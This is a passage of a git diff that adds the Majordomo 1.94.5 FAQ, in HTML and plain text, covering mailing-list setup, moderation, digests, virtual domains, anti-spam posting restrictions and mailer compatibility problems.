    + +Sendmail can still get to the alias and expand it into the list of +recipients. However, any mail that appears at port 25 marked for +test-outgoing@mydomain.com will bounce back with "User unknown".

    + + +Finally it should be noted that it is impossible with any of these methods +above to prevent people from forging mail as someone who is subscribed to the +list, and sending to the list that way. Of course a spammer can also subscribe +to the list legitimately and then send spam. The restrict_post option +blocks the vast majority of problems, however.

    + +

    3.7 - Can I have the list owner or approval person be changeable + without intervention from the Majordomo owner?

    +Sure! Just make owner-listname and/or listname-approval be +another majordomo list. (probably hidden, for simplicity's sake) +

    + + +

    3.8 - What are all these different passwords?

    +Think of three separate passwords: +
      +
    1. A master password that can be used by both resend and majordomo + contained in [listname].passwd. To be used by the master list + manager when using writeconfig commands etc. This allows someone + who handles a number of mailing lists all using the same password. + This is also a "backup password" in case the .config file gets corrupted. + +
    2. A password for the manager of this one list. The admin_passwd can be + used by subsidiary majordomo list maintainers. + +
    3. A password for those concerned with the list content (approve_passwd) +
    +This way the administration and moderation functions can be split. The +original reason for maintaining [listname].passwd was to allow a new +config file to be put in if the config file was trashed and the +admin_password was obliterated, and may still be useful to allow a +single password to be used for admin functions by the majordomo admin +or some other "superadmin".

    + +Note that the admin passwd in the config file is not a file name, +but the password itself. This is the only way that the list-maintainer +could change the password since they wouldn't have access to the file. +

    + + +

    3.9 - How do I tell majordomo to handle "get"-ing of binary files?

    +Majordomo is not designed to be a general-purpose file-by-mail system. +If you want to do anything more than trivial "get"-ing of text files +(archives, etc) than you should get and install ftpmail. Majordomo has +hooks to allow transparent access to files via ftpmail (see majordomo.cf). +See the beginning of this FAQ for where to get ftpmail. +

    + +

    3.10 - How do I set up a moderated list? How do I approve messages?

    +First, you need to tell Majordomo that the list is moderated. In +the configuration file for the list, you set "moderate = yes". +Do not try to use the now-deprecated "-A" option to resend. In fact +you shouldn't be using ANY options to resend except "-h" and "-l", since +all the others are handled in the config file.

    + +Any mail which is not "approved", gets bounced with "Approval required". +If the moderator wishes to approve the message for the list, then +you need to tag the message as "approved" and send it to the list. +The "approve" script, which comes with Majordomo, automates this for you. +Whenever you get a message which needs approval, from your mail reader +pipe the message through "approve". The password for each list needs +to be put in your .majordomo file. Read the "approve" script for +more information.

    + +If you don't have access to "approve" (e.g. you're not on a UNIX +system with Perl), you have to do it by hand. The easiest +way is to forward the original message to the list, +add the line "Approved: approval-password" to the +very first line of the body, and then the +entire contents of the original message. (meaning there should not +be a blank line before and after the "Approved:" line.). Don't +forget to edit out the headers which were added by the bounce process.

    + +For example:

    +

    +To: your-list@example.com
    +Subject: doesn't matter
    +
    +Approved: your-approval-password
    +Received: by some.site.org....
    +Received: by another.site.org....
    +From: joe@another.com (Joe User)
    +Subject: this list is great!
    +To: your-list@example.com
    +
    +Hey, this list is great, and the moderator sure is sexy!
    +
    +Joe
    +
    +

    +It's also possible, if your mailer allows it, to approve a message another +way by just inserting an Approved: header in the original body and passing +the original message on without adding your own header. This is in a sense +"forging" mail, so many mailers either won't allow it or will insert some +sort of authentication warning. This form is used most often by moderators +when they send mail to the list and don't want to go and approve +their own message again. Here's an example: + +

    +To: your-list@example.com
    +Approved: your-approval-password
    +Subject: Thanks!
    +
    +I like this list too, but sorry, I'm married!  :-)
    +
    +-- your moderator
    +
    +

    +Note that this requires a mail-user-agent (MUA) that allows one to add +headers to a message. If your MUA doesn't let you do this, you'll need +to use the first method.

    + +Note that in either case the "Approved:" line will be stripped out +by Majordomo before it gets sent to the list, so the list members won't +see your list password. +

    + + +

    3.11 - How do I set up a digested version of a list?

    +[ Modified from explanation given by jmb@kryten.atinc.com (Jonathan M. Bresler)] +
      +
    • Create aliases for the mailing list and the digest. See section +2.2 of the README for an example. +
    • create an alias for the majordom(o) user, so that his cron +generated mail comes to me, rather than just piling up +in /usr/local/mail/majordom. + +
    • create the list's and the digest's files, (widget, widget-digest, +widget.config, widget-digest.config, etc.). Edit the +widget-digest.config file and make sure all the digest options are set +to your tastes. + +
    • create the digest directory and archive directory. See FAQ section 2 on how to set permissions on all +majordomo files and directories. You must have archives if you have +digests so the digester can make the digest. You can purge the archive +after the digest is generated. + +
    • Add yourself to both the mailing list and its digest so you can +monitor what happens...at least for a while (not a bad idea to create a +dummy user, and subscribe him to both the mailing list and its digest. +This preserves a record of messages for debugging. Don't forget to +remove this account and unsubscribe it after debugging.) + +
    • Optionally you may use cron to send a mkdigest to push out a digest +at set intervals regardless of the number of queued messages. See the +question Why aren't my digests going out?". +
    + +

    3.12 - How do I setup virtual majordomo domains?

    +[From Alan Millar, et. al.]
    + +Set up a majordomo.cf file for each virtual domain, defining +$whereami as appropriate. Use your mailer's virtual domain stuff to +get to it, making an alias for it if necessary.

    + +For sendmail, be sure to check out http://www.sendmail.org/virtual-hosting.html first.

    + +Alias entry:

    +

    +  majordomo-domain2: |"/your/wrapper majordomo -C /your/domain2.cf"
    +
    + +Virtual domain stuff (in your virtusertable):

    + +

    +  majordomo@domain2         majordomo-domain2
    +  majordomo-owner@domain2   whoever
    +
    + +I use the sendmail virtual domain examples right off the +Sendmail FAQ. Works for me.

    + +You'll need to modify request-answer slightly if you want the virtual +host to be used there in replies. Look for: +

    +From: $list-request
    +
    +in the source and change it to: +
    +From: $list-request\@$whereami
    +
    +Don't forget to use the -C option to request-answer for your virtual aliases.

    + +Check out http://o2.towery.com/~ernestm/admin/majordomo/majorvirt.html also for +good instructions on configuring virtual domains with Majordomo.

    + +

    3.13 - How can I stop people from using my mailing list to spam my subscribers?

    +[From mcr@solidum.com (Michael Richardson) ]
    +There are two approaches to solving spam. They are complementary.

    + + The most general solution is to make sure that your list host will not +accept spam. See http://spam.abuse.net/ +for extensive recipes on this.

    + + The majordomo specific way is to use the "restrict_post" mechanism to +disallow posts from addresses that are not on the list. Please see +section 3.6 for some of the pitfalls of using +restrict_post. They all +apply. My experience is that spammers have not yet learnt about the +"-outgoing" alias, and the techniques in section 3.6 would apply when they +do.

    + The major objection to using restrict_post to deflect spam is that it +may deflect posts from legitimate people -- people who've subscribed +with one address but are posting from another address. It may also +restrict cross-posts from other lists, or from people who read the list +via news.

    + + The solution to the above objections is twofold: +

      +
    1. the moderator must forward legitimate posts. This can be + a pain, but it does work. +
    2. the restrict_post header can be extended. + + + The typical way to do #2 is to set restrict_post to: +
      +mylist:mylist-nomail
      +
      + + Then, create a configuration file and password for "mylist-nomail", but +DO NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner)

      + + The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list.

      +


      +

      +

      Section 4: Mailer and list administration problems

      + +

      4.1 - Address with blanks are being treated separately

      +If a subscriber to the list is
      +John Doe < jdoe@node.com> +

      +it gets treated these as the three addresses:
      +John
      +Doe
      +< jdoe@node.com>

      + +[From Alan Millar]
      +Majordomo does not treat these as three addresses. Apparently +your mailer does. +

      +Remember that all Majordomo does is add and remove addresses from +a list. Majordomo does not interpret the contents of the list +for message distribution; the system mailer (such as sendmail) does. +

      +I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the +end of each line was effective to fix the problem, and I got to keep +my comments. So I patched Majordomo to add the comma at the end +of each address it writes to the list file. +

      +You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. +

      + + +

      4.2 - Why aren't my digests going out?

      +[from John Rouillard]
      + +
      +  echo mkdigest [digest-name] [digest-password] | mail majordomo@...
      +
      +This will force a digest to be created. Or you can set the max size in +the digest list config file down low, and force automatic +generation.

      + +

      4.3 - Why do I get duplicate mail sent to the list?

      + +If you're running MMDF, read on: [From Gunther Anderson]
      +Well, I can tell you what happened to me recently. We use MMDF here, +which certainly colors the picture a little. What was happening here was +that MMDF was verifying the validity of the whole mailing list before +returning from the Submit call. The thing calling the Submit would time +out and close, but the Submit itself would still be running somewhere. +The calling routine would believe that the message had failed in its +delivery, but the Submit would eventually succeed. The calling process +would try again some time later. This, of course, is bad. The larger +the list got, the more addresses there were to verify (verification was +really just a DNS search on the target machine name), the more likely, +under load, that the message would duplicate. We finally got so large, +with so many international addresses (which seem to timeout on DNS +queries much more often than US addresses) that we were always +duplicating. Infinitely (until I killed the original submitter). +

      +The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the +addresses before accepting a job. We used the list-processor channel, +and only had to check that the listname-request name was set properly, +because list-processor insists on making listname-request the envelope +"From " header name.

      + +If you're running Sendmail, this is more rare. There have been +unconfirmed reports that on some systems having the queue process +interval set too short can cause problems, even though sendmail is +supposed to handle this. Workarounds are to increase your +queue process interval (-q flag), or decrease the interval +between queue checkpoints (OC flag in sendmail.cf).

      + +There have been many reports from Linux users complaining about +duplicate mail. The problem seems to be that flock() under +Linux is broken. This may be fixed in a future release, but +for now in sendmail's conf.h in the #ifdef __linux__ +section add a line #define HASFLOCK 0. There +are also reports that some versions of the libc have problems, +and that linking with the libresolv.a from a recent BIND version +will work around the problem.
      +[ Please let me know if you have any more information --ed ] + +

      4.4 - How do I gate my list to and/or from a newsgroup?

      +The easiest method is to use a program called newsgate. +You can find it at ftp://ftp.isc.org/isc/inn/contrib/. +Installation instructions are straightforward, it provides sample entries +for your newsfeeds/sys file and aliases entries. The newsgate +package includes news2mail and mail2news. + +

      4.5 - How can I improve Majordomo's performance?

      +

      Mail to list throughput

      + +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail +to the list. Upgrading your sendmail to version 8.x +will improve things greatly, as this version has a lot of enhancements +which use connections more efficiently. For most lists, this +is enough. Majordomo itself doesn't use very much in the way of +resources except perhaps memory. Adding more memory will help if +your machine does a lot of paging +during mail delivery.

      + +Using other mailers instead of sendmail has met with varying success. +Exim can also be used (see +http://www.exim.org/). qmail has +been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way +than sendmail (some would say paranoid). See +http://www.qmail.org. +The qmail site includes at least one way to get majordomo to work with +qmail. Note that it is possible to get majordomo working under +qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the +Using +Majordomo with qmail FAQ, written by Russ Allbery.

      + +If you are using Exim instead of sendmail there +are more things you can do. Instead of concealing the -outgoing +addresses, it is possible to configure Exim so that those addresses are +only usable by the local majordomo user. A description of how to do +that can be found at +http://www.netmaster.ca/exim/majordomo.html as well +as other information about configuring majordomo with Exim.

      + +If your lists are very large you may try installing bulk_mailer, by +Keith Moore. It pre-sorts the list into chunks grouped by site, and +passes the resulting chunks off to individual sendmail processes for +delivery (see note next paragraph). Get it from +ftp://cs.utk.edu/pub/moore/bulk_mailer/. It installs simply by replacing your usual -outgoing +alias with (line wrapped for clarity): +

      +sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site
      +    /path/to/lists/sample"
      +
      + +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one +problem. Until version 1.3 it didn't understand parenthesized comments +in addresses, resulting in incorrect sorting and reduced performance. Your +list must be configured with strip=yes in the list configuration +file if you don't upgrade to 1.3 or higher.

      + +TLB is another package which is like bulk_mailer, but has other +features. You can get it from +ftp://ftp.hpc.uh.edu/pub/tlb/. +The advantage of TLB is its greater configuration flexibility, and +also the fact that it's possible with TLB to eliminate the -outgoing +address, making configuration easier and lists more secure.

      + +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to +verify that the sender is subscribed to the list). Think twice about +using this option with very large lists. + +

      Majordomo command processing

      +Most of the improvements in this are experimental and not widely +available or not yet completed but scheduled for future releases. Some +areas include: improvements in shlock.pl to use exponential backoffs to +reduce contention and starvation of locks, using some sort of dbz-style +database for subscription lists to speed up subscribe and unsubscribe +commands, and changes in the configuration file system to allow faster +parsing and faster execution of certain commands such as "lists". +If you are interested in working on improvements in this area, +join the majordomo-workers list mentioned above. If you make +any specific patches or additions available, please let me know so +I can add references to it here. + +

      4.6 - How can I handle X.400 addresses?

      +Majordomo by default treats addresses starting with "/" as "hostile", +and won't let people subscribe. This is to prevent someone +from subscribing a majordomo-owned filename to the list, and being +able to write by sending mail to the list. Unfortunately, all +X.400 addresses begin with a "/". See the $no_x400at and $no_true_x400 +variables and the associated comments in the majordomo.cf. There +is a reported bug in 1.94 - you may need to change both tests for +these variables in majordomo.pl to put "main'" before them. Like this: +
      +        if (!$main'no_x400at) {
      +
      +
      +        if (!$main'no_true_x400) {
      +
      +

      +This is fixed in Majordomo 1.94.1 and higher.

      + +

      4.7 - Why is the Subject of my messages missing?

      +[from Dave Wolfe]
      +But it's not. Oh, you probably mean "Why is the subject line of +messages to my moderated list blank?" Because you didn't include any +headers after the Approved: header in the body of the messages. Or you +deleted them when you approved the bounced messages.

      + +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original +message (as opposed to a bounced message), you have to also fill in some +headers to be sent out, such as Subject:, To:, and From:.

      + +See section Question 3.10 on how to approve messages +to moderated lists.

      + +This is also explained in Doc/list-owner-info, which should be sent +to all list owners and moderators.

      + +

      4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I stop this?

      +Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you +why in the Subject of the message. Here's a list of the most common +bounce reasons:

      + +An "Admin request" bounce means that the list is configured to filter +out what it thinks are "administrivia" messages, and it thought that +message was one. These are messages such as "subscribe" or "unsubscribe" +or "help", which get sent to the list instead of majordomo. Lists generally +have this turned on by default. If you don't like it, set "administrivia=no" +in the list config file. If that doesn't work, check your aliases to make +sure the "-s" option to resend isn't being used on that list.

      + +An "Approval required" bounce means that the list is moderated, and +the message needs to be approved. (see section 3.10 of this FAQ)

      + +A "Message too long" bounce means that the message was longer than +the "maxlength" setting in the list config file.

      + +If you get any of these bounces messages and you think the mail is OK +to send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this +FAQ. + +

      4.9 - My list configuration doesn't seem to be working.

      +If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 +of this FAQ on how to set up the aliases for the list correctly to pipe mail +through "resend".

      + +Other things to check would be that the arguments to "resend" are only +"-h", and "-l" (and perhaps "-C" if you use virtual domains). resend +used to be configured with other command line flags to do things such as +have moderated lists. However these flags override any config file +settings, so remove them if they are present. All configuration should +be done now through the config file.

      + +

      4.10 - How do I set it up so that the originator of a message doesn't get a copy of his/her own message back?

      +You can't. Sorry. The "metoo" setting in sendmail has no effect after +a message is piped through an external program. Unless you're willing to +give up piping messages through "resend", there's no way to stop this. +

      +

      4.11 - With Smail or Exim, users subscribing to a list sometimes get mail sent before they subscribed

      +[from Lazlo Nibble and Philip Hazel]
      +This is due to the way Smail and Exim deliver mail. With sendmail, +it expands its delivery list when the mail first arrives. If the +list gets changed, the message will still get delivered to the original +recipient list, since the original list is never referred to again. +As sendmail delivers mail, it removes addresses from its expanded list +as they get delivered.

      + +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long +as the message is queued waiting for one or more addresses in the list, it +will get sent to any new recipients whenever the queue gets processed next. +This is rather unexpected for those used to sendmail's behavior.

      + +The advantage of smail and exim's approach is that if an address in +your list is unreachable (or has a bad .forward file), you can change +the list contents (or the .forward file) and the message will be delivered +to the new address when the queue next gets processed. It won't deliver +to the old, bad address.

      + +There really isn't an easy solution to this, but it's really not a serious +problem.

      + +

      4.12 - Majordomo doesn't seem to work with sendmail 8.9

      +The new security features of sendmail don't allow :include: directories +to be group writable. Unfortunately, by default these directories are +group writable with Majordomo. If you have this problem you will +see errors from sendmail like "Cannot open /path/name: Group writable +directory" and "aliasing/forwarding loop broken".

      + +One solution is to add:

      +

      +O DontBlameSendmail=groupwritabledirpathsafe
      +
      +in your sendmail.cf and restart sendmail.

      + +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure +also any parent directories to not have the group or other write bit +set. If Majordomo is working correctly having group write permission +is not necessary. However, some people find it convenient to have +group-write access so users can be put in the majordomo group and not +need root access all the time to work on majordomo. + +

      4.13 - I can't get Majordomo to work with RedHat Linux

      + +If you are trying to use the Majordomo RPM, it is broken. The +majordomo.cf which comes with the RPM has the line +
      +$whereami = `hostname`;
      +
      + +This is broken for two reasons. First, the hostname may not necessarily +be a fully-qualified domain name, and thus this won't generate a valid +Internet email address. Secondly, using `hostname` generates +a linefeed character at the end, which totally screws things up, and you +end up getting blank lines in headers (and you'll start to see headers +appear in the body of the message).

      + +The solution is to edit the line and put in your correct host name +or mail domain.

      + +A bug report has been filed with RedHat.

      + +RedHat 5.2 also ships with an interim (buggy) release of Perl, which +does not work with Majordomo. (you will get "Unknown mailer error 9" +errors). Download and install the updated Perl RPM from +ftp://updates.redhat.com/. + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt new file mode 100644 index 0000000..6ab513d --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt @@ -0,0 +1,1350 @@ +Version: $Id: majordomo-faq.txt,v 1.3 2000/01/13 12:54:32 cwilson Exp $ +URL: http://www.visi.com/~barr/majordomo-faq.html +Archive-Name: mail/majordomo-faq +Posting-Frequency: monthly + +Note: This FAQ has been recently updated to be exclusively for Majordomo +1.94 and up. + +Table of Contents: + + 1. What is Majordomo and how can I get it? + o 1.1 - What is Majordomo? + o 1.2 - Where do I get Majordomo? + o 1.3 - How do I install it? + o 1.4 - How do I upgrade from an earlier release? + o 1.5 - Where do I report bugs or get help with Majordomo? + o 1.6 - Which is better, Majordomo or LISTSERV? + o 1.7 - How can I access Majordomo via the Web? + o 1.8 - Is Majordomo Y2K (Year 2000) compliant? + 2. Problems setting up Majordomo + o 2.1 - What are the proper permissions and ownership of all + Majordomo files and directories? + o 2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. + Operation not permitted" + o 2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission + denied" + o 2.4 - I get "Unknown mailer error" when majordomo runs + o 2.5 - I get an error "insecure usage" from the wrapper + o 2.6 - I get "majordomo: No such file or directory" from the + wrapper + o 2.7 - I get an error "Can't locate majordomo.pl" + o 2.8 - I told my majordomo.cf where to archive the list, why isn't + it working? + o 2.9 - config-test can't seem to find ctime.pl or resend can't find + getopts.pl + o 2.10 - A list is visible via lists, but can't subscribe or 'get' + files + o 2.11 - I get "sh: wrapper not available for sendmail programs" + o 2.12 - I get "aliasing/forwarding loop broken" + 3. Setting up mailing lists and aliases + o 3.1 - How do I direct bounces to the right address? + o 3.2 - Semi-automated handling of bounced mail + o 3.3 - What's this Owner-List and List-Owner stuff? Why both? + o 3.4 - How should I configure resend for Reply-To headers? + o 3.5 - How can I hide lists so they can't be viewed by 'lists'? + o 3.6 - How can I restrict a list such that only subscribers can + send mail to the list? + o 3.7 - Can I have the list owner or approval person be changeable + without intervention from the Majordomo owner? + o 3.8 - What are all these different passwords? + o 3.9 - How do I tell majordomo to handle "get"-ing of binary files? + o 3.10 - How do I set up a moderated list? How do I approve + messages? + o 3.11 - How do I set up a digested version of a list? + o 3.12 - How do I setup virtual majordomo domains? + o 3.13 - How can I stop people from using my mailing list to spam my + subscribers? + 4. Mailer and list administration problems + o 4.1 - Address with blanks are being treated separately + o 4.2 - Why aren't my digests going out? + o 4.3 - Why do I get duplicate mail sent to the list? + o 4.4 - How do I gate my list to and/or from a newsgroup? + o 4.5 - How can I improve Majordomo's performance? + o 4.6 - How can I handle X.400 addresses? + o 4.7 - Why is the Subject of my messages missing? + o 4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? + How do I stop this? + o 4.9 - My list configuration doesn't seem to be working. + o 4.10 - How do I set it up so that the originator of a message + doesn't get a copy of his/her own message back? + o 4.11 - With Smail or Exim, users subscribing to a list sometimes + get mail sent before they subscribed + o 4.12 - Majordomo doesn't seem to work with sendmail 8.9 + o 4.13 - I can't get Majordomo to work with RedHat Linux + +This FAQ is Copyright 1996 by David Barr and The Ohio State University. This +document may be reproduced, so long as it is kept in its entirety and in its +original format. + +Credits: +This FAQ originally written by Vincent D. Skahan. Many thanks to the members +of the majordomo-workers and majordomo-users mailing lists for many of the +questions and answers found in this FAQ. Thanks to fen@comedia.com (Fen +Labalme) for getting an HTML version started. + +You can get an HTML version of this FAQ on the World Wide Web at +http://www.visi.com/~barr/majordomo-faq.html. You can request a copy by +email by sending a message to mail-server@rtfm.mit.edu, with the following +text in the body: + +send usenet/comp.mail.list-admin.software/Majordomo_Frequently_Asked_Questions + +If you have any questions or submissions regarding this FAQ, send them to +barr@visi.com (David Barr). + + ------------------------------------------------------------------------ + +Section 1: What is Majordomo and how can I get it? + +1.1 - What is Majordomo? + +Majordomo is a program which automates the management of Internet mailing +lists. Commands are sent to Majordomo via electronic mail to handle all +aspects of list maintenance. Once a list is set up, virtually all operations +can be performed remotely, requiring no intervention upon the postmaster of +the list site. + +See the main Majordomo web page at: +http://www.greatcircle.com/majordomo/ + +Majordomo controls a list of addresses for some mail transport system (like +sendmail or smail) to handle. Majordomo itself performs no mail delivery +(though it has scripts to format and archive messages). + + majordomo - n: a person who speaks, makes arrangements, or takes + charge for another. From latin "major domus" - "master of the + house". + +Majordomo is written in Perl. It will work with Perl 4.036 or Perl 5.002 or +greater. It will not work with Perl 5.001!!!. It is recommended that you use +the latest release of Perl that you can get. You can find it at +http://www.perl.com/perl/. You must upgrade to version 1.94.3 in order for +it to work with Perl 5.004, due to changes in regular expressions. +Unfortunately, Majordomo does NOT work with Perl 5.005_01, due to a bug in +Perl with respect to regular expressions. Use Perl 5.005_02 (or greater). +While Majordomo is still compatible with Perl 4.036, future versions will +likely be Perl 5 only. + +RedHat 5.2 is unfortunately shipping a prerelease version of Perl +("5.004m4") with some of their Linux distributions. This version is buggy +and won't work with Majordomo (you will get "Unknown mailer error 9" +errors). Download an install the 5.004 or 5.005 RPM instead, or download and +updated RPM from updates.redhat.com. Many people have been having problems +with Majordomo on DEC OSF/1 AXP systems. Apparently Perl on the Alphas is +not as stable as compared to other platforms, and Majordomo tickles bugs in +that port of Perl. If you are having problems, please make sure you are +running the very latest version of Perl (version 5.002 is known to work). +There haven't been recent reports in this area, so it's assumed that later +versions also work. + +There have also been reported problems with the native compiler for AIX +3.2.5. Perl compiled with that compiler will crash when running Majordomo +(even though it passes all the regression tests), however if you compile +Perl with gcc it will work. + +Majordomo was developed under UNIX based systems, but could be made to work +on others. If you can get Perl to compile and run cleanly on your system, +and can send Internet mail by piping or calling an external program (and +that external program reads its list of recipients from a plain text file), +you can probably get Majordomo to work on a wide variety of UNIX-based and +non-UNIX based systems. There is no known port of Majordomo to Windows NT, +Win95 or Mac. For more information, see the comp.os.msdos.mail-news FAQ. At +last check there was a port of an old version (1.93) to MS-DOS/Waffle, and +an old version (1.93) ported to OS/2. These probably aren't all that helpful +for anyone porting Majordomo to NT. + +Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, editable + remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + * Supports confirmation of subscriptions (to protect against forged + subscription requests). + * List filters + +See other references throughout this FAQ for some further notes on using +these packages. + +1.2 - Where do I get Majordomo? + +Via the Web at: +http://www.greatcircle.com/majordomo/ Via anonymous FTP at: +ftp://ftp.greatcircle.com/pub/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ + +The current version is 1.94.4. It includes a security fix for a bug found in +1.94.3 and prior. + +If you don't have Perl, you can get it from: + +http://www.perl.com/perl/ + +Use that link for more information about Perl, too. The FTPMAIL package can +be found in ftp://src.doc.ic.ac.uk/packages/ftpmail or any comp.sources.misc +archive (volume 37). + +Majordomo 2 is currently being developed by Jason Tibbits. Currently it's +"alpha" quality. Join the majordomo-workers list (see below) if you want to +use this release. You can find out how to get Majordomo 2, as well as +information about this release at http://www.hpc.uh.edu/majordomo/ + +1.3 - How do I install it? + +Majordomo comes with a rather extensive INSTALL file. Read this file +completely. There's also a README file which covers some common problems. +This FAQ is meant to be a supplement to Majordomo's documentation, not a +replacement for it. If you have any questions that this FAQ doesn't cover, +chances are that it is covered in the documentation in the Majordomo +distribution. For anyone who is going to run a list, you must read +Doc/list-owner-info before trying to do anything. If you don't have access +to the system where your list is being run, the Majordomo maintainer who set +up your list should have sent it to you. Bug him if he didn't, or download +it from the Majordomo distribution. + +If you have permission problems unpacking the distribution, try using the +'o' flag to tar to ignore user/group information. + +Although Majordomo is written in Perl, it does have one component written in +C that must be compiled. This 'wrapper' program runs "setuid" and ensures +that all Majordomo functions operate with the proper permissions. You will +need root access to install this program with the correct privileges. + +Majordomo interfaces to the mail system (sendmail, exim, etc) through +aliases. Adding aliases is generally a root-bound process. However, on some +systems the process can be delegated to a separate file under your control. + +Once you get past the above two requirements, it is possible to maintain +Majordomo lists without root access. At best, your local sysadmin would only +be bothered twice -- once for the installation, and once for designating a +separate alias file for your use. + +Majordomo 1.x is designed to work with sendmail, however will work with +other UNIX-based mailers. For more information on setting up Majordomo with +other mailers, see the following pages: + + * qmail - ftp://ftp.eyrie.org/pub/software/majordomo/mjqmail + * exim - http://www.netmaster.ca/exim/majordomo.html + * Netscape Messaging Server 2.x and 3.x - + http://interstroom.nl/docs/nsmajordomo + * Cyrus IMAP - see "Sendmail can't mail to a file or pipe..." at + http://andrew2.andrew.cmu.edu/cyrus/imapd/install-FAQ.html#sendmail. + This is necessary because Majordomo works by delivering mail via pipe. + +1.4 - How do I upgrade from an earlier release? + +Be sure to browse the "Changelog" file to get an idea what has changed. +There currently is no canned set of instructions for upgrading from an +earlier release. The most straightforward method is to simply install the +current release in a different directory, (with the same list/archive/digest +directories) and change the mail aliases for each list to use the new +Majordomo scripts as soon as you feel comfortable with the new setup. + +Be careful when upgrading to 1.94 that you update your $mailer and +$bounce_mailer variables in your majordomo.cf! There are some other new +variables too. You may want to update the list .config files so they contain +any new variables found in the new release. You just need to do a +'writeconfig' for each list, and majordomo will update the .config file +using the existing values in the old .config file. Any new variables will be +set to defaults for a new list. + +1.5 - Where do I report bugs or get help with Majordomo? + +Please DO NOT ask the FAQ maintainer for help on Majordomo. I will +accidentally delete your message. I'm sorry, I don't have time to do +consulting on Majordomo. I am not a Majordomo help service. I, along with +many others, do answer questions on the mailing lists. Let me say that about +90% of the answers I get are from the documentation or this FAQ. Many of the +rest are answered by reading the source. It's really not that hard to figure +out. The remainder of the questions I get are usually sendmail questions, +which really should be asked in comp.mail.sendmail. + +If you need help, there is a mailing list majordomo-users@greatcircle.com, +which is frequented by lots of users of Majordomo. Report actual bugs to +majordomo-workers@greatcircle.com. It's a good idea to search or browse the +list archives below for the last couple months since many of the same +questions are asked (and answered) regularly. There are searchable list +archives (thanks to Jason Tibbitts) at +http://www.hpc.uh.edu/majordomo-users/ and +http://www.hpc.uh.edu/majordomo-workers/. + +Be sure always to include which version of Majordomo you are using. You +should also include what operating system you are using, what version of +Perl, and what mailer (sendmail, smail, qmail, etc) and version you are +using, especially if you can't get Majordomo to work at all. But first, you +must have thoroughly read the ALL the documentation in the Majordomo +distribution and this FAQ. If you got this FAQ from the Majordomo +distribution or anywhere except from the WWW site at the top of this +document it is probably not the most recent version. + +There is an FTP site for unofficial patches. See +http://sol.ccsf.cc.ca.us/ftp/majordomo-patches/ . What's in it? Messages +that are saved from the majordomo-users and -workers mailing lists. There +are INDEX files in each part with one-line summaries of each patch, and a +README file in the top directory with overall information. If you have +patches that you think should be in the archive, you can FTP or email them +in. The top-level README file tells how to do it. Please contribute -- to +save other people the headaches you had. NOTE: The patches are NOT +"official" patches approved by Chan Wilson or anyone else. Use your own +judgment before (and after) you apply them. + +Nick Perry also has various patches for 1.94.3 at +ftp://ftp.amulation.co.uk/pub/majordomo_patches/. They are patches which add +various functions to majordomo. + +Do NOT ask questions about Majordomo on the list-managers@greatcircle.com +list. That list is for general discussions about running mailing lists, not +for help on specific packages. The same goes for the Usenet group +comp.mail.list-admin.policy. + +There is a good guide for people running majordomo lists at +http://docuspace.uchicago.edu/dpc/general/g_maj-adm.html. + +Look for a great book out now from O'Reilly and Associates called "Managing +Mailing Lists", by Alan Schwartz. You can read my review of the book at +http://www.visi.com/~barr/managing-maillist-review.html. I was one of the +book's technical reviewers. You can order the book at a discount (currently +20%) from amazon.com via the web: + + * http://www.amazon.com/exec/obidos/ASIN/156592259X/greatcircleassoc + +Besides getting you the book at a discounted price, using this link earns +Great Circle Associates a small commission, which helps pay for their +support of the majordomo and list-managers mailing lists, as well as +distributing majordomo on their FTP site. + +1.6 - Which is better, Majordomo or LISTSERV? + +For a good comparison of various mailing list managers (MLM's) there's a +good FAQ by Norm Aleks. It is posted monthly to news.answers and +comp.mail.list-admin.software. It's also mirrored at the following URL. +http://www.faqs.org/faqs/mail/list-admin/software-faq. Contact +naleks@library.ummed.edu (Norm Aleks) for more information. + +1.7 - How can I access Majordomo via the Web? + +There are various Web interfaces to Majordomo available. Some are management +interfaces for list maintenance, and some are interfaces for list archives +(some do searching too). + + * LWGate - http://www.netspace.org/users/dwb/lwgate.html + * Regan's - 